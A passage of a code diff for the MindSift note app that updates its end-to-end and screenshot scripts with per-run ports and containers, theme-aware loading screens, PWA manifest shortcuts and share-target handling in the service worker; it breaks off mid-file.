+`e2e/screenshots.sh` baut das Image, startet es im Demo-Modus mit frischer Datenbank und erzeugt die Bilder in `screenshots/` neu (`screenshots.mjs`). Danach werden sie verkleinert (Desktop 1280 px, Handy 480 px breit) und als WebP mit Qualität 90 gespeichert (`cwebp` in einem Alpine-Container). Für die Versionsangabe im Kopf: `APP_VERSION=v0.2 e2e/screenshots.sh`. In der Workspace-Aufnahme bearbeitet der Demo-Benutzer `user` gleichzeitig einen Bullet, damit Sperre und Präsenz zu sehen sind.

e2e/run.sh

@@ -1,18 +1,36 @@
 #!/usr/bin/env bash
-# Builds MindSift, starts it in demo mode on port 18080 with a fresh database and runs the browser tests.
+# Builds MindSift, starts it in demo mode with a fresh database and runs the browser tests.
 # Requires podman (or docker via ENGINE=docker). Usage: e2e/run.sh
+# Every run uses its own container, image tag and port, so runs from several working copies at the
+# same time cannot remove or test each other's server.
 set -euo pipefail
 ENGINE="${ENGINE:-podman}"
 ROOT="$(cd "$(dirname "$0")/.." && pwd)"
 WORK="$(mktemp -d)"
-trap '"$ENGINE" rm -f mindsift-e2e >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
+RUN_ID="$$-$RANDOM"
+NAME="mindsift-e2e-$RUN_ID"
+IMAGE="mindsift-e2e-image:$RUN_ID"
+# A free port above 18000 (E2E_PORT overrides)
+PORT="${E2E_PORT:-}"
+if [ -z "$PORT" ]; then
+  for p in $(shuf -i 18100-18999 -n 50); do
+    if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
+  done
+fi
+cleanup() {
+  "$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
+  "$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
+  rm -rf "$WORK"
+}
+trap cleanup EXIT
 
 echo "Baue Image …"
-"$ENGINE" build -q -t mindsift-e2e-image "$ROOT" >/dev/null
-"$ENGINE" run -d --name mindsift-e2e --network host -e PORT=18080 -e MINDA_DEMO=true \
-  -e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
-for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18080/api/v1/health >/dev/null && break; sleep 0.5; done
+"$ENGINE" build -q -t "$IMAGE" "$ROOT" >/dev/null
+"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true \
+  -e JWT_SECRET=e2e-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
+for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
 
-echo "Starte Browser-Tests …"
-"$ENGINE" run --rm --network host -v "$ROOT/e2e":/e2e:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
+echo "Starte Browser-Tests (Port $PORT) …"
+"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -v "$ROOT/e2e":/e2e:Z -w /e2e \
+  mcr.microsoft.com/playwright:v1.48.2-jammy \
   sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node collab.e2e.mjs && node share.e2e.mjs && node lock.e2e.mjs && node channels.e2e.mjs'

e2e/screenshots.mjs

@@ -1,12 +1,26 @@
 // Takes the README screenshots from a fresh server in demo mode (sample data of admin/admin).
+// The title picture and the colour-family grid are taken twice in the same state – light and dark
+// theme – and joined along a slanted diagonal (light left, dark right); the others are plain light
+// or dark pictures.
 // Usage: e2e/screenshots.sh (builds the image) or MINDSIFT_URL=… SHOTS_DIR=… node screenshots.mjs
+// Theme pair: SHOT_LIGHT / SHOT_DARK (default: light / dark, the "Klassik" family)
+import fs from 'node:fs';
 import { chromium } from 'playwright';
 
 const BASE = process.env.MINDSIFT_URL || 'http://localhost:18080';
 const OUT = process.env.SHOTS_DIR || '../screenshots';
+const LIGHT = process.env.SHOT_LIGHT || 'light';
+const DARK = process.env.SHOT_DARK || 'dark';
 const DESKTOP = { viewport: { width: 1518, height: 886 }, deviceScaleFactor: 2 };
 const MOBILE = { viewport: { width: 390, height: 844 }, deviceScaleFactor: 2, isMobile: true, hasTouch: true };
 const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
+// Colour families for the theme grid in the README (Klassik is the title picture)
+const FAMILIES = [
+  ['fjord', 'fjord', 'fjord-night'],
+  ['terracotta', 'terracotta', 'terracotta-night'],
+  ['polarized', 'polarized-light', 'polarized'],
+  ['suri', 'suri-light', 'suri'],
+];
 
 async function login(user) {
   const res = await fetch(`${BASE}/api/v1/auth/login`, {
@@ -20,7 +34,13 @@ async function login(user) {
 
 async function open(browser, token, options) {
   const ctx = await browser.newContext({ ...options, colorScheme: 'dark', locale: 'de-DE' });
-  await ctx.addInitScript((t) => localStorage.setItem('mindsift_jwt_token', t), token);
+  await ctx.addInitScript(
+    ([t, theme]) => {
+      localStorage.setItem('mindsift_jwt_token', t);
+      localStorage.setItem('mindsift_active_theme', theme);
+    },
+    [token, DARK]
+  );
   const page = await ctx.newPage();
   page.on('pageerror', (e) => console.log('PAGEERROR', e.message));
   await page.goto(BASE);
@@ -28,11 +48,88 @@ async function open(browser, token, options) {
   return page;
 }
 
-const tab = (page, name) => page.getByRole('button', { name: new RegExp(name) }).first().click();
+// Anchored, so "Workspace" does not hit the triage button "Als Notiz – Im Workspace"
+const tab = (page, name) => page.getByRole('button', { name: new RegExp(`^${name}`) }).locator('visible=true').first().click();
 
-async function shot(page, file) {
+// Switches the theme in place (no reload), so both halves show exactly the same state
+async function setTheme(page, id, dark) {
+  await page.evaluate(
+    ([themeId, isDark]) => {
+      const root = document.documentElement;
+      root.setAttribute('data-theme', themeId);
+      root.classList.toggle('dark', isDark);
+    },
+    [id, dark]
+  );
+  await sleep(250);
+}
+
+let composer;
+// Light picture on the left of the diagonal, dark on the right, a thin line between them;
+// scale < 1 shrinks the result (small pictures of the theme grid)
+async function compose(lightPng, darkPng, file, scale = 1) {
+  const dataUrl = await composer.evaluate(
+    async ([light, dark, scale]) => {
+      const load = (b64) =>
+        new Promise((resolve) => {
+          const img = new Image();
+          img.onload = () => resolve(img);
+          img.src = 'data:image/png;base64,' + b64;
+        });
+      const [a, b] = await Promise.all([load(light), load(dark)]);
+      const w = Math.round(a.naturalWidth * scale);
+      const h = Math.round(a.naturalHeight * scale);
+      const canvas = document.createElement('canvas');
+      canvas.width = w;
+      canvas.height = h;
+      const ctx = canvas.getContext('2d');
+      ctx.imageSmoothingQuality = 'high';
+      ctx.drawImage(b, 0, 0, w, h);
+      const top = w * 0.58;
+      const bottom = w * 0.42;
+      ctx.save();
+      ctx.beginPath();
+      ctx.moveTo(0, 0);
+      ctx.lineTo(top, 0);
+      ctx.lineTo(bottom, h);
+      ctx.lineTo(0, h);
+      ctx.closePath();
+      ctx.clip();
+      ctx.drawImage(a, 0, 0, w, h);
+      ctx.restore();
+      ctx.strokeStyle = 'rgba(255, 255, 255, 0.9)';
+      ctx.lineWidth = Math.max(2, w / 600);
+      ctx.shadowColor = 'rgba(0, 0, 0, 0.35)';
+      ctx.shadowBlur = w / 300;
+      ctx.beginPath();
+      ctx.moveTo(top, 0);
+      ctx.lineTo(bottom, h);
+      ctx.stroke();
+      return canvas.toDataURL('image/png');
+    },
+    [lightPng.toString('base64'), darkPng.toString('base64'), scale]
+  );
+  fs.writeFileSync(`${OUT}/${file}`, Buffer.from(dataUrl.split(',')[1], 'base64'));
+}
+
+// Diagonal light/dark picture
+async function shot(page, file, { light = LIGHT, dark = DARK, scale = 1 } = {}) {
   await sleep(800); // animations
   await page.mouse.move(0, 0);
+  await setTheme(page, light, false);
+  const lightPng = await page.screenshot();
+  await setTheme(page, dark, true);
+  const darkPng = await page.screenshot();
+  await compose(lightPng, darkPng, file, scale);
+  console.log(`OK   ${file}`);
+}
+
+// Plain picture in one theme ('light' or 'dark' of the chosen pair)
+async function plain(page, file, mode) {
+  await sleep(800);
+  await page.mouse.move(0, 0);
+  if (mode === 'light') await setTheme(page, LIGHT, false);
+  else await setTheme(page, DARK, true);
   await page.screenshot({ path: `${OUT}/${file}` });
   console.log(`OK   ${file}`);
 }
@@ -41,6 +138,7 @@ const main = async () => {
   const admin = await login('admin');
   const user = await login('user');
   const browser = await chromium.launch({ args: ['--lang=de-DE'] });
+  composer = await (await browser.newContext()).newPage();
 
   const page = await open(browser, admin, DESKTOP);
   await tab(page, 'Triage');
@@ -49,7 +147,11 @@ const main = async () => {
   await tab(page, 'Aufgaben');
   await page.getByText('Homelab', { exact: true }).first().click().catch(() => {});
   await page.getByRole('button', { name: /Kanban|Board/ }).first().click().catch(() => {});
-  await shot(page, 'aufgaben_desktop.png');
+  await plain(page, 'aufgaben_desktop.png', 'dark');
+  // Colour families: the board fills the width, so both halves of the diagonal show content
+  for (const [family, light, dark] of FAMILIES) {
+    await shot(page, `Theme_${family}.png`, { light, dark, scale: 0.5 });
+  }
 
   // The demo user edits a bullet of the shared note, so the screenshot shows lock and presence
   const other = await open(browser, user, DESKTOP);
@@ -65,15 +167,54 @@ const main = async () => {
   await page.waitForFunction(() => document.querySelectorAll('textarea').length > 5, null, { timeout: 10000 });
   await page.getByText('User', { exact: false }).first().waitFor({ timeout: 15000 }).catch(() => {});
   await sleep(2000);
-  await shot(page, 'workspace_desktop.png');
+  await plain(page, 'workspace_desktop.png', 'light');
+
+  // Journal: a few days with entries, the calendar in the sidebar
+  const H = { Authorization: `Bearer ${admin}`, 'Content-Type': 'application/json' };
+  const today = new Date();
+  const iso = (d) => `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}`;
+  const day = (offset) => iso(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset));
+  await fetch(`${BASE}/api/v1/journal/${day(0)}`, { method: 'POST', headers: H });
+  await page.getByRole('button', { name: 'Journal', exact: true }).click();
+  await sleep(1500);
+  const write = async (date, lines) => {
+    const section = page.locator(`[data-journal-date="${date}"]`);
+    if ((await section.count()) === 0) return; // day outside the visible month
+    await section.locator('.cursor-text').first().click();
+    for (let i = 0; i < lines.length; i++) {
+      if (i > 0) await page.keyboard.press('Enter');
+      await page.keyboard.type(lines[i], { delay: 5 });
+    }
+    await sleep(600);
+  };
+  await write(day(0), ['Standup: Umzug liegt im Plan #homelab', 'Nachmittags Backup-Test mit restic', 'Idee: Wochenrückblick als Vorlage anlegen']);
+  for (const offset of [2, 5]) {
+    await page.getByTitle(new RegExp(new Date(today.getFullYear(), today.getMonth(), today.getDate() - offset).toLocaleDateString('de-DE', { day: 'numeric', month: 'long' }))).first().click().catch(() => {});
+    await sleep(1200);
+    await write(day(offset), offset === 2 ? ['Rasen gemäht, Hecke wartet noch #garten'] : ['Erste Gedanken zur Hausrenovierung #renovierung', 'Angebote einholen bis Monatsende']);
+  }
+  await page.getByRole('button', { name: 'Heute' }).click().catch(() => {});
+  await page.mouse.click(1000, 860);
+  await sleep(2500);
+  // Round corners (setting "Ecken: rund") for this picture only
+  await page.evaluate(() => document.documentElement.setAttribute('data-corners', 'round'));
+  await plain(page, 'journal_desktop.png', 'dark');
+  await page.evaluate(() => document.documentElement.removeAttribute('data-corners'));
+  await page.getByRole('button', { name: 'Journal', exact: true }).click(); // close it again
 
   await tab(page, 'Listen');
   await page.getByText('Wocheneinkauf', { exact: true }).first().click().catch(() => {});
-  await shot(page, 'Listen_desktop.png');
+  await plain(page, 'Listen_desktop.png', 'light');
 
   const mobile = await open(browser, admin, MOBILE);
   await mobile.getByText('Später im Browser weiter nutzen').click({ timeout: 5000 }).catch(() => {}); // install prompt
-  await shot(mobile, 'Mobile_Triage.png');
+  await plain(mobile, 'Mobile_Triage.png', 'light');
+
+  await tab(mobile, 'Workspace');
+  await sleep(600);
+  await mobile.getByText(/^Homelab 2\.0/).first().click();
+  await sleep(1500);
+  await plain(mobile, 'Mobile_Workspace.png', 'dark');
 
   await browser.close();
 };

e2e/screenshots.sh

@@ -1,20 +1,47 @@
 #!/usr/bin/env bash
 # Builds MindSift, starts it in demo mode with a fresh database and renews the README screenshots
-# in screenshots/. Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh
+# in screenshots/ (title picture and colour-family grid: light and dark joined along a diagonal).
+# The PNGs from the browser are scaled down (desktop 1280 px, phone 480 px wide) and saved as WebP.
+# Requires podman (or docker via ENGINE=docker). Usage: e2e/screenshots.sh, other theme pair: SHOT_LIGHT=fjord SHOT_DARK=fjord-night
 set -euo pipefail
 ENGINE="${ENGINE:-podman}"
 ROOT="$(cd "$(dirname "$0")/.." && pwd)"
 WORK="$(mktemp -d)"
-trap '"$ENGINE" rm -f mindsift-shots >/dev/null 2>&1 || true; rm -rf "$WORK"' EXIT
+RUN_ID="$$-$RANDOM"
+NAME="mindsift-shots-$RUN_ID"
+IMAGE="mindsift-shots-image:$RUN_ID"
+PORT="${SHOTS_PORT:-}"
+if [ -z "$PORT" ]; then
+  for p in $(shuf -i 18100-18999 -n 50); do
+    if ! (exec 3<>"/dev/tcp/127.0.0.1/$p") 2>/dev/null; then PORT="$p"; break; fi
+  done
+fi
+cleanup() {
+  "$ENGINE" rm -f "$NAME" >/dev/null 2>&1 || true
+  "$ENGINE" rmi "$IMAGE" >/dev/null 2>&1 || true
+  rm -rf "$WORK"
+}
+trap cleanup EXIT
+mkdir -p "$WORK/png"
 
 echo "Baue Image …"
 # Version in the header, e.g. APP_VERSION=v0.2 e2e/screenshots.sh
-"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t mindsift-e2e-image "$ROOT" >/dev/null
-"$ENGINE" run -d --name mindsift-shots --network host -e PORT=18081 -e MINDA_DEMO=true \
-  -e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z mindsift-e2e-image >/dev/null
-for _ in $(seq 1 60); do curl -s -m 1 http://localhost:18081/api/v1/health >/dev/null && break; sleep 0.5; done
+"$ENGINE" build -q --build-arg APP_VERSION="${APP_VERSION:-}" -t "$IMAGE" "$ROOT" >/dev/null
+"$ENGINE" run -d --name "$NAME" --network host -e PORT="$PORT" -e MINDA_DEMO=true -e DEMO_RESET_MINUTES=0 \
+  -e JWT_SECRET=screenshots-only-secret -v "$WORK":/data:Z "$IMAGE" >/dev/null
+for _ in $(seq 1 60); do curl -s -m 1 "http://localhost:$PORT/api/v1/health" >/dev/null && break; sleep 0.5; done
 
 echo "Erstelle Screenshots …"
-"$ENGINE" run --rm --network host -e MINDSIFT_URL=http://localhost:18081 -e SHOTS_DIR=/shots -e LANG=de_DE.UTF-8 \
-  -v "$ROOT/e2e":/e2e:Z -v "$ROOT/screenshots":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
-  sh -c 'apt-get update -qq >/dev/null && apt-get install -y -qq fonts-inter >/dev/null 2>&1; npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
+"$ENGINE" run --rm --network host -e MINDSIFT_URL="http://localhost:$PORT" -e SHOTS_DIR=/shots \
+  -e SHOT_LIGHT="${SHOT_LIGHT:-light}" -e SHOT_DARK="${SHOT_DARK:-dark}" -e LANG=de_DE.UTF-8 -e TZ=Europe/Berlin \
+  -v "$ROOT/e2e":/e2e:Z -v "$WORK/png":/shots:Z -w /e2e mcr.microsoft.com/playwright:v1.48.2-jammy \
+  sh -c 'npm install --no-audit --no-fund >/dev/null 2>&1 && node screenshots.mjs'
+
+echo "Wandle in WebP um …"
+"$ENGINE" run --rm -v "$WORK/png":/png:Z -v "$ROOT/screenshots":/shots:Z docker.io/library/alpine:3.20 sh -c '
+  apk add -q libwebp-tools >/dev/null
+  for f in /png/*.png; do
+    name=$(basename "$f" .png)
+    case "$name" in Mobile_*) width=480 ;; *) width=1280 ;; esac
+    cwebp -quiet -resize "$width" 0 -q 90 -m 6 -metadata none "$f" -o "/shots/$name.webp"
+  done'

frontend/index.html

@@ -3,8 +3,10 @@
   <head>
     <meta charset="UTF-8" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
-    <!-- Blue while loading (matches the splash screen); the app switches it to the theme background -->
-    <meta name="theme-color" content="#2563eb" />
+    <!-- Black like the system bars of the installed app; boot-theme.js and then the app switch it to the
+         theme background -->
+    <meta name="theme-color" content="#000000" />
+    <script src="/boot-theme.js"></script>
     <meta name="mobile-web-app-capable" content="yes" />
     <meta name="apple-mobile-web-app-capable" content="yes" />
     <meta name="apple-mobile-web-app-title" content="MindSift" />
@@ -40,33 +42,30 @@
 
     <link rel="manifest" href="/manifest.json" />
     <title>MindSift</title>
-    <script>
-      window.__deferredPwaPrompt = null;
-      window.addEventListener('beforeinstallprompt', function (e) {
-        e.preventDefault();
-        window.__deferredPwaPrompt = e;
-        window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
-      });
-    </script>
+    <script src="/pwa-install.js"></script>
   </head>
   <body class="bg-[#0b0f19] text-[#e3e3e3] antialiased selection:bg-[#8ab4f8]/30 selection:text-[#8ab4f8]">
-    <!-- Shown until React mounts and replaces it: full blue with the logo, no text, no white flash -->
+    <!-- Shown until React mounts and replaces it: the logo on the background of the theme used last on
+         this device (boot-theme.js), full blue on the first visit; no text, no white flash -->
     <div id="root">
-      <div style="position:fixed;inset:0;background:#2563eb;display:flex;align-items:center;justify-content:center">
-        <!-- the icon's own blue square disappears on blue, so the visible brain is ~55% of this size -->
-        <img src="/icon.svg" width="128" height="128" alt="" style="display:block" />
+      <div style="position:fixed;inset:0;background:var(--boot-bg,#2563eb);display:flex;align-items:center;justify-content:center">
+        <!-- icon.svg inline, so its square takes the theme's accent (on blue it disappears in the background) -->
+        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="128" height="128" style="display:block">
+          <rect width="512" height="512" rx="108" style="fill:var(--boot-accent,#2563eb)" />
+          <g transform="translate(256, 256) scale(12.5) translate(-12, -12)" fill="none" style="stroke:var(--boot-on-accent,#ffffff)" stroke-width="2.1" stroke-linecap="round" stroke-linejoin="round">
+            <path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
+            <path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
+            <path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
+            <path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
+            <path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
+            <path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
+            <path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
+            <path d="M6 18a4 4 0 0 1-1.967-.516"/>
+            <path d="M19.967 17.484A4 4 0 0 1 18 18"/>
+          </g>
+        </svg>
       </div>
     </div>
     <script type="module" src="/src/main.tsx"></script>
-    <script>
-      if ('caches' in window) {
-        caches.keys().then((keys) => keys.forEach((k) => caches.delete(k))).catch(() => {});
-      }
-      if ('serviceWorker' in navigator) {
-        window.addEventListener('load', () => {
-          navigator.serviceWorker.register('/sw.js').catch(() => {});
-        });
-      }
-    </script>
   </body>
 </html>

frontend/package-lock.json

@@ -1,14 +1,15 @@
 {
   "name": "mindsift-frontend",
-  "version": "0.5.1",
+  "version": "0.28.0",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "mindsift-frontend",
-      "version": "0.5.1",
+      "version": "0.28.0",
       "license": "Unlicense",
       "dependencies": {
+        "@fontsource-variable/inter": "5.3.0",
         "@types/prismjs": "^1.26.6",
         "emoji-picker-react": "4.12.0",
         "framer-motion": "^11.15.0",
@@ -32,6 +33,7 @@
         "jsdom": "^25.0.1",
         "postcss": "^8.4.49",
         "tailwindcss": "^3.4.17",
+        "tailwindcss-animate": "1.0.7",
         "typescript": "^5.6.3",
         "typescript-eslint": "8.18.2",
         "vite": "^5.4.11",
@@ -1024,6 +1026,15 @@
         "node": "^18.18.0 || ^20.9.0 || >=21.1.0"
       }
     },
+    "node_modules/@fontsource-variable/inter": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/@fontsource-variable/inter/-/inter-5.3.0.tgz",
+      "integrity": "sha512-OupL48va4JNofb97w6NYeF9S7W/kHNKM0Er8Dem5nqi4jeOLrVJDoE8tZEpnMJmtkvNbB1EIPPwHcdkF6b1oUA==",
+      "license": "OFL-1.1",
+      "funding": {
+        "url": "https://github.com/sponsors/ayuhito"
+      }
+    },
     "node_modules/@humanfs/core": {
       "version": "0.19.2",
       "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz",
@@ -4772,6 +4783,16 @@
         "node": ">=14.0.0"
       }
     },
+    "node_modules/tailwindcss-animate": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
+      "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
+      "dev": true,
+      "license": "MIT",
+      "peerDependencies": {
+        "tailwindcss": ">=3.0.0 || insiders"
+      }
+    },
     "node_modules/thenify": {
       "version": "3.3.1",
       "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",

frontend/package.json

@@ -1,7 +1,7 @@
 {
   "name": "mindsift-frontend",
   "private": true,
-  "version": "0.5.1",
+  "version": "0.28.0",
   "license": "Unlicense",
   "type": "module",
   "scripts": {
@@ -13,6 +13,7 @@
     "test:run": "vitest run"
   },
   "dependencies": {
+    "@fontsource-variable/inter": "5.3.0",
     "@types/prismjs": "^1.26.6",
     "emoji-picker-react": "4.12.0",
     "framer-motion": "^11.15.0",
@@ -36,6 +37,7 @@
     "jsdom": "^25.0.1",
     "postcss": "^8.4.49",
     "tailwindcss": "^3.4.17",
+    "tailwindcss-animate": "1.0.7",
     "typescript": "^5.6.3",
     "typescript-eslint": "8.18.2",
     "vite": "^5.4.11",

frontend/public/badge.svg

@@ -0,0 +1,14 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 96 96" width="96" height="96">
+  <!-- Notification badge (Android status bar): only the alpha channel counts, so white on transparent -->
+  <g transform="translate(48, 48) scale(3.5) translate(-12, -12)" fill="none" stroke="#ffffff" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
+    <path d="M12 5a3 3 0 1 0-5.997.125 4 4 0 0 0-2.526 5.77 4 4 0 0 0 .556 6.588A4 4 0 1 0 12 18Z"/>
+    <path d="M12 5a3 3 0 1 1 5.997.125 4 4 0 0 1 2.526 5.77 4 4 0 0 1-.556 6.588A4 4 0 1 1 12 18Z"/>
+    <path d="M15 13a4.5 4.5 0 0 1-3-4 4.5 4.5 0 0 1-3 4"/>
+    <path d="M17.599 6.5a3 3 0 0 0 .399-1.375"/>
+    <path d="M6.003 5.125A3 3 0 0 0 6.401 6.5"/>
+    <path d="M3.477 10.896a4 4 0 0 1 .585-.396"/>
+    <path d="M19.938 10.5a4 4 0 0 1 .585.396"/>
+    <path d="M6 18a4 4 0 0 1-1.967-.516"/>
+    <path d="M19.967 17.484A4 4 0 0 1 18 18"/>
+  </g>
+</svg>

frontend/public/boot-theme.js

@@ -0,0 +1,17 @@
+// Runs before the first paint: the loading screen takes the colours of the theme used last on this
+// device (stored by the app in lib/theme.ts), so a light or orange theme does not start in blue.
+// A file instead of an inline script so the CSP can stay at script-src 'self'.
+(function () {
+  try {
+    var colors = JSON.parse(localStorage.getItem('mindsift_boot_colors') || 'null');
+    if (!colors || typeof colors.bg !== 'string' || typeof colors.accent !== 'string') return;
+    var root = document.documentElement;
+    root.style.setProperty('--boot-bg', colors.bg);
+    root.style.setProperty('--boot-accent', colors.accent);
+    if (typeof colors.onAccent === 'string') root.style.setProperty('--boot-on-accent', colors.onAccent);
+    var meta = document.querySelector('meta[name="theme-color"]');
+    if (meta) meta.setAttribute('content', colors.bg);
+  } catch (e) {
+    // no storage: the loading screen stays blue
+  }
+})();

frontend/public/manifest.json

@@ -6,8 +6,8 @@
   "start_url": "/",
   "scope": "/",
   "display": "standalone",
-  "background_color": "#2563eb",
-  "theme_color": "#2563eb",
+  "background_color": "#000000",
+  "theme_color": "#000000",
   "orientation": "portrait-primary",
   "icons": [
     {
@@ -47,18 +47,61 @@
       "purpose": "maskable"
     }
   ],
+  "share_target": {
+    "action": "/share-target",
+    "method": "POST",
+    "enctype": "multipart/form-data",
+    "params": {
+      "title": "title",
+      "text": "text",
+      "url": "url",
+      "files": [
+        {
+          "name": "media",
+          "accept": ["image/*"]
+        }
+      ]
+    }
+  },
   "shortcuts": [
     {
-      "name": "Gedanke sofort erfassen",
-      "short_name": "Capture",
-      "description": "Öffnet MindSift mit Fokus im Eingabefeld",
-      "url": "/?mode=capture"
+      "name": "Quick Dump",
+      "short_name": "Quick Dump",
+      "description": "Gedanken schnell in die Triage werfen",
+      "url": "/?shortcut=quickdump",
+      "icons": [
+        {
+          "src": "/shortcut-quickdump.png",
+          "sizes": "192x192",
+          "type": "image/png"
+        }
+      ]
     },
     {
-      "name": "Triage starten",
-      "short_name": "Triage",
-      "description": "Gedanken im Kartendeck aussortieren",
-      "url": "/?tab=triage"
+      "name": "Neue Aufgabe",
+      "short_name": "Aufgabe",
+      "description": "Direkt eine neue Aufgabe anlegen",
+      "url": "/?shortcut=task",
+      "icons": [
+        {
+          "src": "/shortcut-task.png",
+          "sizes": "192x192",
+          "type": "image/png"
+        }
+      ]
+    },
+    {
+      "name": "Einkaufsliste",
+      "short_name": "Einkaufsliste",
+      "description": "Einen Eintrag zur Einkaufsliste hinzufügen",
+      "url": "/?shortcut=list",
+      "icons": [
+        {
+          "src": "/shortcut-list.png",
+          "sizes": "192x192",
+          "type": "image/png"
+        }
+      ]
     }
   ]
 }

frontend/public/pwa-install.js

@@ -0,0 +1,8 @@
+// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later
+// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'.
+window.__deferredPwaPrompt = null;
+window.addEventListener('beforeinstallprompt', function (e) {
+  e.preventDefault();
+  window.__deferredPwaPrompt = e;
+  window.dispatchEvent(new CustomEvent('mindsift:pwa-ready'));
+});

frontend/public/sw.js

@@ -2,13 +2,17 @@
 // - Page loads (navigation): network first, so a new release is picked up right away; offline the
 //   last loaded index.html is used.
 // - Built bundles (/assets/*, file names contain a content hash): from the cache, loaded once.
-// - Icons and manifest: from the cache, refreshed in the background.
+// - Icons: from the cache, refreshed in the background.
+// - Manifest: network first (the browser checks it for changed app colours and name; a cached copy
+//   would hand it the old values), the cache only offline.
 // - API requests are never touched; offline data comes from the app's own cache (lib/offline.ts).
 // Raise VERSION when this file changes in a way that needs fresh caches.
-const VERSION = 'v2';
+const VERSION = 'v6';
 const SHELL_CACHE = `mindsift-shell-${VERSION}`;
 const ASSET_CACHE = `mindsift-assets-${VERSION}`;
 const MAX_ASSETS = 80;
+const SHARE_DB_NAME = 'mindsift-share-target';
+const SHARE_STORE_NAME = 'shared_items';
 const SHELL_URLS = [
   '/',
   '/index.html',
@@ -18,6 +22,9 @@ const SHELL_URLS = [
   '/icon-192x192.png',
   '/icon-512x512.png',
   '/apple-touch-icon.png',
+  '/badge-96x96.png',
+  '/boot-theme.js',
+  '/pwa-install.js',
 ];
 
 self.addEventListener('install', (event) => {
@@ -68,6 +75,17 @@ async function cacheFirstAsset(request) {
   return response;
 }
 
+async function networkFirstShell(request) {
+  const cache = await caches.open(SHELL_CACHE);
+  try {
+    const response = await fetch(request, { cache: 'no-store' });
+    if (response.ok && response.type === 'basic') cache.put(request, response.clone());
+    return response;
+  } catch {
+    return (await cache.match(request)) || Response.error();
+  }
+}
+
 async function staleWhileRevalidate(request) {
   const cache = await caches.open(SHELL_CACHE);
   const hit = await cache.match(request);
@@ -80,8 +98,78 @@ async function staleWhileRevalidate(request) {
   return hit || refresh;
 }
 
+function openShareDB() {
+  return new Promise((resolve, reject) => {
+    const req = indexedDB.open(SHARE_DB_NAME, 1);
+    req.onupgradeneeded = () => {
+      const db = req.result;
+      if (!db.objectStoreNames.contains(SHARE_STORE_NAME)) {
+        db.createObjectStore(SHARE_STORE_NAME, { autoIncrement: true, keyPath: 'id' });
+      }
+    };
+    req.onsuccess = () => resolve(req.result);
+    req.onerror = () => reject(req.error);
+  });
+}
+
+async function savePendingShare(item) {
+  const db = await openShareDB();
+  return new Promise((resolve, reject) => {
+    const tx = db.transaction(SHARE_STORE_NAME, 'readwrite');
+    tx.objectStore(SHARE_STORE_NAME).add(item);
+    tx.oncomplete = () => {
+      db.close();
+      resolve();
+    };
+    tx.onerror = () => {
+      db.close();
+      reject(tx.error);
+    };
+    tx.onabort = () => {
+      db.close();
+      reject(tx.error);
+    };
+  });
+}
+
+async function handleShareTarget(event) {
+  try {
+    const formData = await event.request.formData();
+    const title = formData.get('title');
+    const text = formData.get('text');
+    const url = formData.get('url');
+    const media = formData.get('media');
+
+    let fileName = '';
+    let hasMedia = false;
+    if (media && typeof media === 'object') {
+      fileName = media.name || 'image';
+      hasMedia = true;
+    }
+
+    await savePendingShare({
+      title: typeof title === 'string' ? title.trim() : '',
+      text: typeof text === 'string' ? text.trim() : '',
+      url: typeof url === 'string' ? url.trim() : '',
+      fileName,
+      hasMedia,
+      createdAt: Date.now(),
+    });
+  } catch (err) {
+    console.error('[SW] Share-Target Fehler:', err);
+  }
+  return Response.redirect('/?shared=pending', 303);
+}
+
 self.addEventListener('fetch', (event) => {
   const { request } = event;
+  if (request.method === 'POST') {
+    const url = new URL(request.url);
+    if (url.origin === self.location.origin && url.pathname === '/share-target') {
+      event.respondWith(handleShareTarget(event));
+    }
